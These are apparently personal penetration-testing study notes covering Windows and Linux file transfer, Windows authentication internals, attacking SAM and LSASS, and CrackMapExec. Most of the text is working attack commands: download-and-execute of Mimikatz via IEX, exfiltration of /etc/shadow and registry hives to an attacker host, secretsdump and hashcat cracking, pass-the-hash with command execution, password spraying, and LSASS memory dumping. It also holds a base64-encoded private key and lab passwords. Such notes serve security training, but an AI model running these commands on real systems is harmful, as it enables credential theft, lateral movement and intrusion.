[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))
```

### PowerShell Web Downloads

* [PowerShell Web Downloads](app://obsidian.md/PowerShell%20Web%20Downloads)

### PowerShell Remoting

* To create a PowerShell Remoting session on a remote computer, we will need
  * administrative access,
  * be a member of the `Remote Management Users` group,
  * or have explicit permissions for PowerShell Remoting in the session configuration.

**From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.**

```powershell-session
PS C:\htb> whoami

htb\administrator

PS C:\htb> hostname

DC01
```

```powershell-session
PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985
```

```powershell-session
ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True
```

**Create a PowerShell Remoting Session to DATABASE01**

```powershell-session
$Session = New-PSSession -ComputerName DATABASE01
```

**Copy samplefile.txt from our Localhost to the DATABASE01 Session**

```powershell-session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
```

**Copy DATABASE.txt from DATABASE01 Session to our Localhost**

```powershell-session
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
```

### SMB Downloads

#### Copy a File from the SMB Server

```cmd-session
copy \\192.168.220.133\share\nc.exe
```

* **New versions of Windows block unauthenticated guest access**

```cmd-session
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
```

**Mount the SMB Server with Username and Password**

```cmd-session
net use n: \\192.168.220.133\share /user:test test
```

```cmd-session
 copy n:\nc.exe
```

### SMB Uploads

* Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks.
  * <https://support.microsoft.com/en-us/topic/preventing-smb-traffic-from-lateral-connections-and-entering-or-leaving-the-network-c0541db7-2244-0dce-18fd-14a3ddeb282a>
* An alternative is to run SMB over HTTP with `WebDav`. `WebDAV` [(RFC 4918)](https://datatracker.ietf.org/doc/html/rfc4918) is an extension of HTTP
  * `WebDAV` protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. `WebDAV` can also use HTTPS.

**Configuring WebDav Server**

```shell-session
sudo pip3 install wsgidav cheroot
```

```shell-session
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 
```

**Connecting to the Webdav Share**

```cmd-session
dir \\192.168.49.128\DavWWWRoot
```

**Uploading Files using SMB**

```cmd-session
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
```

### FTP Downloads

**Transfering Files from an FTP Server Using PowerShell**

```powershell-session
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
```

**Create a Command File for the FTP Client and Download the Target File**

* this can be done by typing commands

```cmd-session
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
```

```
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\htb>more file.txt
This is a test file
```

### PowerShell Web Uploads

* [Linux Configured WebServer with Upload](/cybersecurity/linux-configured-webserver-with-upload)
* &#x20;use a PowerShell script [PSUpload.ps1](https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1)

```powershell-session
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

```powershell-session
Import-Module .\PSUpload.ps1
```

```powershell-session
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
```

#### PowerShell Base64 Web Upload

* use Netcat to listen in on a port we specify and send the file as a `POST` request

**Attacker**

```shell-session
nc -lvnp 8000
```

* get the following

```shell-session
listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQo
```

* decode the string

```shell-session
echo <base64> | base64 -d -w 0 > hosts
```

**Victim**

```powershell-session
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
```

```powershell-session
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
```

## Encryption while Transfer

### File Encryption on Windows

* &#x20;One of the simplest methods is the [Invoke-AESEncryption.ps1](https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1)

**Invoke-AESEncryption.ps1**

```powershell-session
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text" 

Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded ciphertext.
 
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
 
Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.
 
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin
 
Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"
 
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path file.bin.aes
 
Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [ValidateSet('Encrypt', 'Decrypt')]
        [String]$Mode,

        [Parameter(Mandatory = $true)]
        [String]$Key,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
        [String]$Text,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
        [String]$Path
    )

    Begin {
        $shaManaged = New-Object System.Security.Cryptography.SHA256Managed
        $aesManaged = New-Object System.Security.Cryptography.AesManaged
        $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
        $aesManaged.BlockSize = 128
        $aesManaged.KeySize = 256
    }

    Process {
        $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))

        switch ($Mode) {
            'Encrypt' {
                if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName + ".aes"
                }

                $encryptor = $aesManaged.CreateEncryptor()
                $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
                $encryptedBytes = $aesManaged.IV + $encryptedBytes
                $aesManaged.Dispose()

                if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File encrypted to $outPath"
                }
            }

            'Decrypt' {
                if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName -replace ".aes"
                }

                $aesManaged.IV = $cipherBytes[0..15]
                $decryptor = $aesManaged.CreateDecryptor()
                $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
                $aesManaged.Dispose()

                if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File decrypted to $outPath"
                }
            }
        }
    }

    End {
        $shaManaged.Dispose()
        $aesManaged.Dispose()
    }
}
```

**Import Module Invoke-AESEncryption.ps1**

```powershell-session
Import-Module .\Invoke-AESEncryption.ps1
```

**File Encryption Example**

```powershell-session
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
```

```powershell-session
File encrypted to C:\htb\scan-results.txt.aes
PS C:\htb> ls

    Directory: C:\htb

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/18/2020  12:17 AM           9734 Invoke-AESEncryption.ps1
-a----        11/18/2020  12:19 PM           1724 scan-results.txt
-a----        11/18/2020  12:20 PM           3448 scan-results.txt.aes
```

### File Encryption on Linux

**Encrypting /etc/passwd with openssl**

```shell-session
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
```

```shell-session
enter aes-256-cbc encryption password: 
Verifying - enter aes-256-cbc encryption password: 
```

**Decrypt passwd.enc with openssl**

```shell-session
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
```

```shell-session
enter aes-256-cbc decryption password:
```


# Linux Configured WebServer with Upload

```shell-session
pip3 install uploadserver
```

```shell-session
python3 -m uploadserver
```


# PowerShell Web Downloads

```

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
```

```
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
```

### BitsTransfer

```
Import-Module BitsTransfer
```

```
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```

### Other

| **Method**                                                                                                               | **Description**                                                                                                            |
| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------- |
| [OpenRead](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.openread?view=net-6.0)                       | Returns the data from a resource as a [Stream](https://docs.microsoft.com/en-us/dotnet/api/system.io.stream?view=net-6.0). |
| [OpenReadAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.openreadasync?view=net-6.0)             | Returns the data from a resource without blocking the calling thread.                                                      |
| [DownloadData](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddata?view=net-6.0)               | Downloads data from a resource and returns a Byte array.                                                                   |
| [DownloadDataAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddataasync?view=net-6.0)     | Downloads data from a resource and returns a Byte array without blocking the calling thread.                               |
| [DownloadFile](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-6.0)               | Downloads data from a resource to a local file.                                                                            |
| [DownloadFileAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfileasync?view=net-6.0)     | Downloads data from a resource to a local file without blocking the calling thread.                                        |
| [DownloadString](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-6.0)           | Downloads a String from a resource and returns a String.                                                                   |
| [DownloadStringAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstringasync?view=net-6.0) | Downloads a String from a resource without blocking the calling thread.                                                    |

#### PowerShell DownloadFile Method

**DownloadFile**

```powershell-session
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
```

**DownloadFileAsync**

```powershell-session
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
```

**DownloadString**

```powershell-session
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
```

* `IEX` also accepts pipeline input.

```powershell-session
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
```

**Potential Error**

```powershell-session
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

```powershell-session
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
```

**Solution**

```powershell-session
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

**PowerShell Invoke-WebRequest**

* From PowerShell 3.0 onwards, the [Invoke-WebRequest](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2) cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases `iwr`, `curl`, and `wget` instead of the `Invoke-WebRequest` full name.
* its like curl and wget for windows

```powershell-session
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
```

**Potential Error**

```powershell-session
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX
```

```
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
```

**Solution**

```
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
```


# Personal web server

### Python

```bash
python3 -m http.server 8080
```

### Updog

```
updog -d $(echo $(pwd)/) -p 80
```

### uploadserver

```shell-session
sudo python3 -m pip install --user uploadserver
```

* make it secure

```shell-session
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
```

```shell-session
mkdir https && cd https
```

```shell-session
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
```

**Linux - Upload Multiple Files**

```shell-session
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

* We used the option `--insecure` because we used a self-signed certificate that we trust.

### Linux - Creating a Web Server with PHP

```shell-session
php -S 0.0.0.0:8000
```

### Linux - Creating a Web Server with Ruby

```shell-session
ruby -run -ehttpd . -p8000
```

### FTP Server

```shell-session
 sudo python -m pyftpdlib -p 21
```

### SMB Server

```shell-session
impacket-smbserver -smb2support share $(pwd)
```

## References

* <https://realpython.com/python-http-server/>


# Windows Authentication Process

* The [Windows client authentication process](https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication)  consists of many different modules that perform
  * the entire logon
  * retrieval
  * verification processes.
* The [Local Security Authority](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) (`LSA`) is a protected subsystem that authenticates users and logs them into the local computer.
  * In addition, the LSA maintains information about all aspects of local security on a computer. It also provides various services for translating between names and security IDs (`SIDs`).
  * The security subsystem keeps track of the security policies and accounts that reside on a computer system.
  * In the case of a Domain Controller, these policies and accounts apply to the domain where the Domain Controller is located.
    * These policies and accounts are stored in Active Directory.
  * In addition, the LSA subsystem provides services for checking access to objects, checking user permissions, and generating monitoring messages.

<figure><img src="/files/ioS8a7fTerIZbX7kAgSt" alt=""><figcaption></figcaption></figure>

* `Winlogon` is a trusted process responsible for managing security-related user interactions. These include:
  * Launching LogonUI to enter passwords at login
  * Changing passwords
  * Locking and unlocking the workstation
* Winlogon is the only process that intercepts login requests from the keyboard sent via an RPC message from Win32k.sys.
  * Winlogon immediately launches the LogonUI application at logon to display the user interface for logon.
  * After Winlogon obtains a user name and password from the credential providers, it calls LSASS to authenticate the user attempting to log in.

### LSASS

* [Local Security Authority Subsystem Service](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service) (`LSASS`) is a collection of many modules and has access to all authentication processes
  * &#x20;found in `%SystemRoot%\System32\Lsass.exe`
* is responsible for the
  * local system security policy
  * user authentication
  * sending security audit logs to the `Event log`

| **Authentication Packages** | **Description**                                                                                                                                                                                                                                                |
| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Lsasrv.dll`                | The LSA Server service both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful. |
| `Msv1_0.dll`                | Authentication package for local machine logons that don't require custom authentication.                                                                                                                                                                      |
| `Samsrv.dll`                | The Security Accounts Manager (SAM) stores local security accounts, enforces locally stored policies, and supports APIs.                                                                                                                                       |
| `Kerberos.dll`              | Security package loaded by the LSA for Kerberos-based authentication on a machine.                                                                                                                                                                             |
| `Netlogon.dll`              | Network-based logon service.                                                                                                                                                                                                                                   |
| `Ntdsa.dll`                 | This library is used to create new records and folders in the Windows registry.                                                                                                                                                                                |

* Each interactive logon session creates a separate instance of the Winlogon service.
  * The [Graphical Identification and Authentication](https://docs.microsoft.com/en-us/windows/win32/secauthn/gina) (`GINA`) architecture is loaded into the process area used by Winlogon, receives and processes the credentials, and invokes the authentication interfaces via the [LSALogonUser](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalogonuser) function.

### SAM Database

* The [Security Account Manager](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc756748\(v=ws.10\)?redirectedfrom=MSDN) (`SAM`) is a database file in Windows operating systems that stores users' passwords.
* It can be used to authenticate local and remote users
* SAM uses cryptographic measures to prevent unauthenticated users from accessing the system.
* User passwords are stored in a hash format in a registry structure as either an `LM` hash or an `NTLM` hash.
  * This file is located in `%SystemRoot%/system32/config/SAM` and is mounted on HKLM/SAM. SYSTEM level permissions are required to view it.
* Windows systems can be assigned to either a workgroup or domain during setup.
  * If the system has been assigned to a workgroup
    * it handles the SAM database locally and stores all existing users locally in this database
  * However, if the system has been joined to a domain
    * the Domain Controller (`DC`) must validate the credentials from the Active Directory database (`ntds.dit`), which is stored in `%SystemRoot%\ntds.dit`.
* Microsoft introduced a security feature in Windows NT 4.0 to help improve the security of the SAM database against offline software cracking.
  * This is the `SYSKEY` (`syskey.exe`) feature, which, when enabled, partially encrypts the hard disk copy of the SAM file so that the password hash values for all local accounts stored in the SAM are encrypted with a key.

### Credential Manager

<figure><img src="/files/BzOWbPrXHv8Lgp6a6zE6" alt=""><figcaption></figcaption></figure>

* Credential Manager is a feature built-in to all Windows operating systems that allows users to save the credentials they use to access various network resources and websites.
  * Saved credentials are stored based on user profiles in each user's `Credential Locker`.
  * Credentials are encrypted and stored at the following location:

```powershell-session
C:\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]\
```


# Attacking SAM

### Copying SAM Registry Hives

| Registry Hive   | Description                                                                                                                                                |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `hklm\sam`      | Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext. |
| `hklm\system`   | Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.                              |
| `hklm\security` | Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.                                        |

We can create backups of these hives using the `reg.exe` utility.

```
cd C:\WINDOWS\system32
```

```cmd-session
 reg.exe save hklm\sam C:\sam.save
```

```cmd-session
reg.exe save hklm\system C:\system.save
```

```cmd-session
reg.exe save hklm\security C:\security.save
```

* to copy files use
  * \[\[Create SMB server Linux (HACK)]]

```cmd-session
move sam.save \\10.10.14.234\CompData
```

```cmd-session
move security.save \\10.10.14.234\CompData
```

```cmd-session
move system.save \\10.10.14.234\CompData
```

```
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```

**Cracking Hashes with Hashcat**

* \[\[Hashcat]]
* copy Hashes into file

```
31d6cfe0d16ae931b73c59d7e0c089c0
72639bbb94990305b5a015220f8de34e
3c0e5d303ec84884ad5c3b7876a06ea6
a3ecf31e65208382e23b3420a34208fc
c02478537b9727d391bc80011c2e2321
58a478135a93ac3bf058a5ea0e8fdb71
```

```shell-session
 sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
```

## Remote Dumping & LSA Secrets Considerations

* \[\[CrackMapExec]]

```shell-session
crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa
```

```shell-session
crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam
```


# CrackMapExec

### install

```
sudo apt install snapd
sudo snap install crackmapexec
```

### CrackMapExec Protocol-Specific Help

```shell-session
crackmapexec smb -h
```

### CrackMapExec Usage

```shell-session
crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
```

```shell-session
crackmapexec winrm 10.129.42.197 -u user.list -p password.list
```

```shell-session
WINRM       10.129.42.197   5985   NONE             [*] None (name:10.129.42.197) (domain:None)
WINRM       10.129.42.197   5985   NONE             [*] http://10.129.42.197:5985/wsman
WINRM       10.129.42.197   5985   NONE             [+] None\user:password (Pwn3d!)
```

### Support Protocols

* [winrm](app://obsidian.md/WinRM%20Attacks)
* [ftp](app://obsidian.md/FTP%20Attack)
* ldap
* [smb](app://obsidian.md/SMB%20Attack)
* [mssql](app://obsidian.md/MSSQL%20Attacks)
* rdp
* [ssh](app://obsidian.md/SSH%20Attack)

## SMB

```
crackmapexec smb 10.10.11.174
```

**Null Authentication**

```
crackmapexec smb 10.10.11.174 --shares -u "" -p ""
```

**Anonymous Authentication**

* put any value in the user field

```
crackmapexec smb 10.10.11.174 --shares -u "fwewfawef" -p ""
```

**Login with username and password**

```
crackmapexec smb 10.10.11.174 --shares -d support -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

## Remote Dumping & LSA Secrets Considerations

* [CrackMapExec](app://obsidian.md/CrackMapExec)

```shell-session
crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa
```

```shell-session
crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam
```

**Pass the Hash with CrackMapExec**

```shell-session
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
```

**CrackMapExec - Command Execution**

```shell-session
crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami
```

## winrm

```
crackmapexec winrm 10.129.202.136 -u username.list -p password.list
```

## Others

### Enumerating the Password Policy - from Linux - Credentialed

```shell-session
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
```

### SMB NULL Session to Pull User List

```shell-session
crackmapexec smb 172.16.5.5 --users
```

```shell-session
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\administrator                  badpwdcount: 0 baddpwdtime: 2022-01-10 13:23:09.463228
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\guest                          badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\lab_adm
```

### Password Spraying Active Directory

```shell-session
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
```

#### Local Admin Spraying with CrackMapExec

* The `--local-auth` flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout.&#x20;
  * `Make sure this flag is set so we don't potentially lock out the built-in administrator for the domain`

```shell-session
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
```


# Attacking LSASS

* \
  Upon initial logon, LSASS will:
  * Cache credentials locally in memory
  * Create [access tokens](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens)
  * Enforce security policies
  * Write to Windows [security log](https://docs.microsoft.com/en-us/windows/win32/eventlog/event-logging-security)

### Dumping LSASS Process Memory

#### Task Manager Method

<figure><img src="/files/qzQ9GVQKLzf03tU5fNCe" alt=""><figcaption></figcaption></figure>

* A file called `lsass.DMP` is created and saved in:

```cmd-session
C:\Users\loggedonusersdirectory\AppData\Local\Temp
```

* to copy files use
  * [Create SMB server Linux (HACK)](app://obsidian.md/Create%20SMB%20server%20Linux%20\(HACK\))

#### Rundll32.exe & Comsvcs.dll Method

* modern anti-virus tools recognize this method as malicious activity.
* Before issuing the command to create the dump file, we must determine what process ID (`PID`) is assigned to `lsass.exe`.
* This can be done from cmd or PowerShell:

**Finding LSASS PID in cmd**

```cmd-session
tasklist /svc
```

**Finding LSASS PID in PowerShell**

```powershell-session
Get-Process lsass
```

